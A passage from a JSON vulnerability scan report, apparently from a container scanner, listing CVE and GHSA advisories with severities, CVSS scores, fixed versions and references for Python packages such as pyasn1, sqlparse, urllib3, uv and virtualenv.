"https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39", "https://nvd.nist.gov/vuln/detail/CVE-2026-119195", "https://www.cve.org/CVERecord?id=CVE-2026-119195" ], "PublishedDate": "2026-10-29T20:17:30.633Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-119196", "VendorIDs": [ "GHSA-2qm8-x737-gmw5" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.14/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "8155deb450ab3554" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119196", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b2c51fc6ef2b0fdd4fa6ca2a3f37c5fba6e239418076b48cea7f4962554e29ad", "Title": "pyasn1: pyasn1: Denial of Service via constructed bit string decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, constructed BIT STRING decoding repeatedly shifts and copies the complete bit value accumulated from earlier fragments. Attacker-controlled BER or CER input contains many constructed BIT STRING fragments; schema-driven DER also accepts a definite-length constructed BIT STRING. BitStringPayloadDecoder repeatedly calls BitString.fromOctetString with the prior bitString as prepend, shifting an ever-growing SizedInteger for each fragment and causing quadratic work. Large fragmented values can exhaust CPU during decode() without requiring later conversion or formatting. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119196", "https://advisory.echohq.com/cve/CVE-2026-119196", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5", "https://nvd.nist.gov/vuln/detail/CVE-2026-119196", "https://www.cve.org/CVERecord?id=CVE-2026-119196" ], "PublishedDate": "2026-10-29T20:17:30.77Z", "LastModifiedDate": "2026-11-04T02:17:18.177Z" }, { "VulnerabilityID": "CVE-2026-119197", "VendorIDs": [ "GHSA-mm57-4v3p-rchx" ], "PkgName": "pyasn1", "PkgPath": "usr/local/lib/python3.14/site-packages/pyasn1-0.6.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.4", "UID": "8155deb450ab3554" }, "InstalledVersion": "0.6.4", "FixedVersion": "0.6.5", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119197", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7ad714a4f3a7d4b1ea5c6b4f25bc4f2f711587408abec07b24ee0a588be8c3cb", "Title": "pyasn1: pyasn1: Denial of Service via quadratic complexity in binary REAL decoding", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.5, binary REAL decoding builds a large mantissa one octet at a time by shifting a growing integer and slicing the remaining byte string. Attacker-controlled ASN.1 includes a binary-encoded REAL with a large mantissa and reaches BER, CER, or DER decode(), with or without a schema containing REAL. RealPayloadDecoder.valueDecoder repeatedly performs a left shift, OR, and suffix copy for every mantissa octet, making decode time quadratic in mantissa length. A comparatively small REAL value can hold a decoding worker on one CPU core for seconds or longer and cause availability loss. This issue is fixed in version 0.6.5.", "Severity": "HIGH", "CweIDs": [ "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119197", "https://advisory.echohq.com/cve/CVE-2026-119197", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx", "https://nvd.nist.gov/vuln/detail/CVE-2026-119197", "https://www.cve.org/CVERecord?id=CVE-2026-119197" ], "PublishedDate": "2026-10-29T20:17:30.907Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-85394", "VendorIDs": [ "GHSA-3qf3-8w2g-rqmx" ], "PkgName": "python-jose", "PkgPath": "usr/local/lib/python3.14/site-packages/python_jose-3.5.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/python-jose@3.5.0", "UID": "de5836534c8f59c5" }, "InstalledVersion": "3.5.0", "Status": "affected", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-85394", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:195a5d4a17e86812e7b4723dba63b3476b102e9a2b7fdff85545505884fba7cf", "Title": "jose: python-jose: python-jose through 3.5.0 Algorithm Confusion via DER-encoded Public Key as HMAC Secret", "Description": "python-jose through 3.5.0 fails to properly validate asymmetric keys in HMAC initialization, accepting DER-encoded public keys that lack PEM armor or SSH prefixes. Attackers holding the service's public key can forge HS256 tokens that pass verification when algorithms are not explicitly restricted. This is an incomplete fix for CVE-2024-33663.", "Severity": "CRITICAL", "CweIDs": [ "CWE-347" ], "VendorSeverity": { "ghsa": 4, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V3Score": 9.1, "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-85394", "https://github.com/advisories/GHSA-6c5p-j8vq-pqhj", "https://github.com/mpdavis/python-jose", "https://github.com/mpdavis/python-jose/blob/018b310ddb8b50dcfd09a0c152117835a21dd656/jose/backends/native.py", "https://github.com/mpdavis/python-jose/blob/018b310ddb8b50dcfd09a0c152117835a21dd656/jose/utils.py", "https://github.com/mpdavis/python-jose/issues/414", "https://nvd.nist.gov/vuln/detail/CVE-2026-85394", "https://www.cve.org/CVERecord?id=CVE-2026-85394", "https://www.vulncheck.com/advisories/python-jose-through-3.5.0-algorithm-confusion-via-der-encoded-public-key-as-hmac-secret" ], "PublishedDate": "2026-09-03T19:17:31.257Z", "LastModifiedDate": "2026-09-24T20:43:32.537Z" }, { "VulnerabilityID": "CVE-2026-54284", "VendorIDs": [ "GHSA-pwgv-4x5q-6m9f" ], "PkgName": "sqlparse", "PkgPath": "usr/local/lib/python3.14/site-packages/sqlparse-0.5.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/sqlparse@0.5.5", "UID": "f5b686153ef1028b" }, "InstalledVersion": "0.5.5", "FixedVersion": "0.6.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54284", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8cb20059a4376f113ce290129aedabeb5e0dc486427512a52c4c18034ee0b948", "Title": "sqlparse: sqlparse: Denial of Service via quadratic CPU consumption in SQL parsing", "Description": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, TokenList construction and string conversion in sqlparse/sql.py repeatedly flatten nested token subtrees constructed by group_parenthesis and group_case, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split() before depth and token limits terminate processing. This issue is fixed in version 0.6.0.", "Severity": "HIGH", "CweIDs": [ "CWE-407", "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-54284", "https://advisory.echohq.com/cve/CVE-2026-54284", "https://github.com/andialbrecht/sqlparse", "https://github.com/andialbrecht/sqlparse/commit/939b129e24c0ad5d51368b1aa72fffcaca76f06f", "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-pwgv-4x5q-6m9f", "https://nvd.nist.gov/vuln/detail/CVE-2026-54284", "https://ubuntu.com/security/notices/USN-8808-1", "https://www.cve.org/CVERecord?id=CVE-2026-54284" ], "PublishedDate": "2026-08-17T18:17:11.4Z", "LastModifiedDate": "2026-10-23T16:10:00.313Z" }, { "VulnerabilityID": "CVE-2026-59893", "VendorIDs": [ "GHSA-prg7-hcfm-mfcr" ], "PkgName": "sqlparse", "PkgPath": "usr/local/lib/python3.14/site-packages/sqlparse-0.5.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/sqlparse@0.5.5", "UID": "f5b686153ef1028b" }, "InstalledVersion": "0.5.5", "FixedVersion": "0.6.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59893", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:542e58574960f9de6c6983a59d889a1a7faaec462cf8cc4e0178be6946afddf1", "Title": "sqlparse: sqlparse: Denial of Service via inefficient SQL parsing", "Description": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.", "Severity": "HIGH", "CweIDs": [ "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59893", "https://advisory.echohq.com/cve/CVE-2026-59893", "https://github.com/andialbrecht/sqlparse", "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e", "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr", "https://nvd.nist.gov/vuln/detail/CVE-2026-59893", "https://ubuntu.com/security/notices/USN-8808-1", "https://www.cve.org/CVERecord?id=CVE-2026-59893" ], "PublishedDate": "2026-08-17T18:17:35.73Z", "LastModifiedDate": "2026-10-23T16:10:00.313Z" }, { "VulnerabilityID": "CVE-2026-71491", "VendorIDs": [ "GHSA-f2ff-p2ww-7p4p" ], "PkgName": "sqlparse", "PkgPath": "usr/local/lib/python3.14/site-packages/sqlparse-0.5.5.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/sqlparse@0.5.5", "UID": "f5b686153ef1028b" }, "InstalledVersion": "0.5.5", "FixedVersion": "0.6.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-71491", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:db75bc7f73f8a1f95bb86ca2f8c1c9bc21e179dbe048c7dbea61ee2b44a715d1", "Title": "sqlparse: sqlparse: Denial of Service via quadratic CPU consumption in comment grouping", "Description": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, group_comments in sqlparse/engine/grouping.py repeatedly rescans comment-only statements before the MAX_GROUPING_TOKENS guard, causing quadratic CPU consumption through sqlparse.parse() and sqlparse.format(sql, strip_comments=True). This issue is fixed in version 0.6.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-71491", "https://advisory.echohq.com/cve/CVE-2026-71491", "https://github.com/andialbrecht/sqlparse", "https://github.com/andialbrecht/sqlparse/commit/ef2012a5eeb491e604dea2b00d516904a3830c87", "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-f2ff-p2ww-7p4p", "https://nvd.nist.gov/vuln/detail/CVE-2026-71491", "https://ubuntu.com/security/notices/USN-8808-1", "https://www.cve.org/CVERecord?id=CVE-2026-71491" ], "PublishedDate": "2026-08-17T18:18:12.12Z", "LastModifiedDate": "2026-10-23T16:10:00.313Z" }, { "VulnerabilityID": "CVE-2026-97687", "VendorIDs": [ "GHSA-8988-9cw3-xx77" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.14/site-packages/urllib3-2.7.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "950d7930ec160981" }, "InstalledVersion": "2.7.0", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97687", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3bc4fe78cbbfce34836cbcbddfd5485f76017c94f696f85e1641dc16af543e70", "Title": "urllib3: urllib3: Traffic interception via HTTPS proxy TLS configuration override", "Description": "urllib3 is an HTTP client library for Python. From 1.26.0 until 2.8.0, the proxy_ssl_context, proxy_assert_hostname, proxy_assert_fingerprint, ssl_context, cert_reqs, verify_mode, use_forwarding_for_https=True, and CERT_NONE configuration paths fail to remain separated because target-server TLS settings are incorrectly applied to the HTTPS proxy connection. The trigger is that an application uses an HTTPS proxy and configures target-server TLS settings that must remain separate from the proxy TLS handshake, including HTTPS forwarding with target-specific identity or credentials. Applying cert_reqs=CERT_NONE can overwrite proxy_ssl_context.verify_mode in place, and the mutation persists so later connections reusing the same context may connect to the HTTPS proxy without certificate verification. The attack mechanism is that an attacker intercepts and impersonates the HTTPS proxy after the effective proxy policy accepts the attacker's certificate. The impact is that the attacker can observe or modify forwarded traffic or receive a target TLS client certificate, while CONNECT tunneling still preserves the separate end-to-end target TLS connection. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-440" ], "VendorSeverity": { "alma": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97687", "https://advisory.echohq.com/cve/CVE-2026-97687", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465", "https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3", "https://github.com/urllib3/urllib3/pull/5093", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77", "https://linux.oracle.com/cve/CVE-2026-97687.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97687", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97687" ], "PublishedDate": "2026-09-29T16:17:18.517Z", "LastModifiedDate": "2026-10-13T20:27:23.13Z" }, { "VulnerabilityID": "CVE-2026-97689", "VendorIDs": [ "GHSA-vxq7-64xx-v4gw" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.14/site-packages/urllib3-2.7.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "950d7930ec160981" }, "InstalledVersion": "2.7.0", "FixedVersion": "2.8.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97689", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:bea3ec7025d4d3499fe271aa9bad04e9c7aa1850d1cd4fcb170d19fce26bed80", "Title": "urllib3: urllib3: Denial of Service via unbounded memory allocation in chunk parser", "Description": "urllib3 is an HTTP client library for Python. From 1.10.3 until 2.8.0, the HTTPResponse.read_chunked and HTTPResponse.stream methods can allocate unbounded memory because the streaming chunk parser buffers the chunk-size field until newline or EOF without a length bound. The trigger is that a malicious server returns Transfer-Encoding: chunked followed by a very long run of bytes without a newline. The attack mechanism is that a malicious HTTP server sends a very long unterminated chunk-size line. The impact is that unbounded memory allocation can exhaust the client process. This issue is fixed in version 2.8.0.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90494", "https://access.redhat.com/security/cve/CVE-2026-97689", "https://advisory.echohq.com/cve/CVE-2026-97689", "https://bugzilla.redhat.com/2543245", "https://bugzilla.redhat.com/2543255", "https://bugzilla.redhat.com/show_bug.cgi?id=2543245", "https://bugzilla.redhat.com/show_bug.cgi?id=2543255", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97687", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97689", "https://errata.almalinux.org/9/ALSA-2026-90494.html", "https://errata.rockylinux.org/RLSA-2026:90494", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed", "https://github.com/urllib3/urllib3/releases/tag/2.8.0", "https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw", "https://linux.oracle.com/cve/CVE-2026-97689.html", "https://linux.oracle.com/errata/ELSA-2026-92474.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97689", "https://ubuntu.com/security/notices/USN-8926-1", "https://www.cve.org/CVERecord?id=CVE-2026-97689" ], "PublishedDate": "2026-09-29T16:17:18.837Z", "LastModifiedDate": "2026-10-13T20:20:06.95Z" }, { "VulnerabilityID": "GHSA-hq85-5cpj-mr62", "PkgName": "uv", "PkgPath": "usr/local/lib/python3.14/site-packages/uv-0.11.25.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/uv@0.11.25", "UID": "4d0a26d698daa331" }, "InstalledVersion": "0.11.25", "FixedVersion": "0.13.4", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-hq85-5cpj-mr62", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:75d2c8df8839cebd2cd9a7c91ae35a593b14cd2ca32267ca359a2bb4736889c6", "Title": "uv's bundled CA store trusts an emSign root whose intermediate CA keys are compromised", "Description": "By default, uv verifies TLS connections against a vendored copy of the `webpki-root-certs` bundle. Versions before 0.13.4 include the `emSign ECC Root CA - G3` root. Eight eMudhra intermediate CA certificates that chain to that root have compromised private keys, and the CA has revoked them.\n\nAn attacker with one of the compromised keys can issue certificates that uv accepts for any hostname, and can be used to issue certificates to enable MITM attacks.\n\nuv 0.13.4 removes the root from its vendored bundle, following `webpki-root-certs` 1.0.10. Upgrade to 0.13.4 or later.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-hq85-5cpj-mr62", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-hq85-5cpj-mr62", "https://github.com/astral-sh/uv", "https://github.com/astral-sh/uv/security/advisories/GHSA-hq85-5cpj-mr62", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2", "https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/0R3XLJL6FuE/m/0XofdebrAAAJ" ], "PublishedDate": "2026-10-20T19:37:52Z", "LastModifiedDate": "2026-10-20T19:37:53Z" }, { "VulnerabilityID": "CVE-2026-102925", "VendorIDs": [ "GHSA-p58f-9548-mpm2" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.7.13", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102925", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:70222e9cf924b1e77a2bcc69d3f752f647f2fb774bc3ce5c49ab264337b3dba5", "Title": "virtualenv: virtualenv: Arbitrary code execution via crafted paths in activation scripts", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.13, the generated activate (bash and zsh) and activate.fish scripts place values already escaped by shlex.quote inside an additional quoted context. In the bash and zsh script, a crafted virtual environment path reaches __VIRTUAL_ENV__ when a relocated environment's recorded directory is absent; in the fish script, crafted Tcl or Tk library paths reach __TCL_LIBRARY__ or __TK_LIBRARY__. The surplus quotes can terminate the data-only quoted run and leave shell metacharacters parsed as commands when a user sources the activation script, allowing code execution with that user's privileges. This issue is fixed in version 21.7.13.", "Severity": "HIGH", "CweIDs": [ "CWE-78" ], "VendorSeverity": { "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-102925", "https://advisory.echohq.com/cve/CVE-2026-102925", "https://github.com/pypa/advisory-database/tree/main/vulns/virtualenv/PYSEC-2026-4013.yaml", "https://github.com/pypa/virtualenv", "https://github.com/pypa/virtualenv/commit/4d5a105ec2a2723b8c7f4571bb68f4f71d01e3f6", "https://github.com/pypa/virtualenv/pull/3252", "https://github.com/pypa/virtualenv/releases/tag/21.7.13", "https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2", "https://nvd.nist.gov/vuln/detail/CVE-2026-102925", "https://pypi.org/project/virtualenv", "https://www.cve.org/CVERecord?id=CVE-2026-102925" ], "PublishedDate": "2026-09-29T21:17:18.57Z", "LastModifiedDate": "2026-09-30T20:17:25.197Z" }, { "VulnerabilityID": "CVE-2026-102930", "VendorIDs": [ "GHSA-94p9-xgh2-xp45" ], "PkgName": "virtualenv", "PkgPath": "usr/local/lib/python3.14/site-packages/virtualenv-21.6.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/virtualenv@21.6.1", "UID": "f6183b5721332552" }, "InstalledVersion": "21.6.1", "FixedVersion": "21.7.12", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-102930", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b2fdb7eb47e9585a5d0bfc11792603fc16d0175819af9c811d3ab493cdc3b0b9", "Title": "virtualenv: virtualenv: Arbitrary code execution via unverified downloaded seed wheels", "Description": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, download_wheel() accepts pip and setuptools seed wheels fetched for periodic updates or the --download option without checking their bytes against an authoritative digest equivalent to the embedded wheels' BUNDLE_SHA256 verification. A compromised index, stale mirror, or intercepted TLS connection can substitute a different wheel under the requested distribution, version, and filename, after which virtualenv caches and seeds the attacker-controlled wheel into subsequently created environments. The verification applies to the default PyPI path and is intentionally skipped when PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, or PIP_INDEX configures a custom index that may legitimately publish rebuilt wheels. This issue is fixed in version 21.7.12.", "Severity": "HIGH", "CweIDs": [ "CWE-494" ], "VendorSeverity": { "amazon": 3, "azure": 3, "bitnami": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "ghsa": { 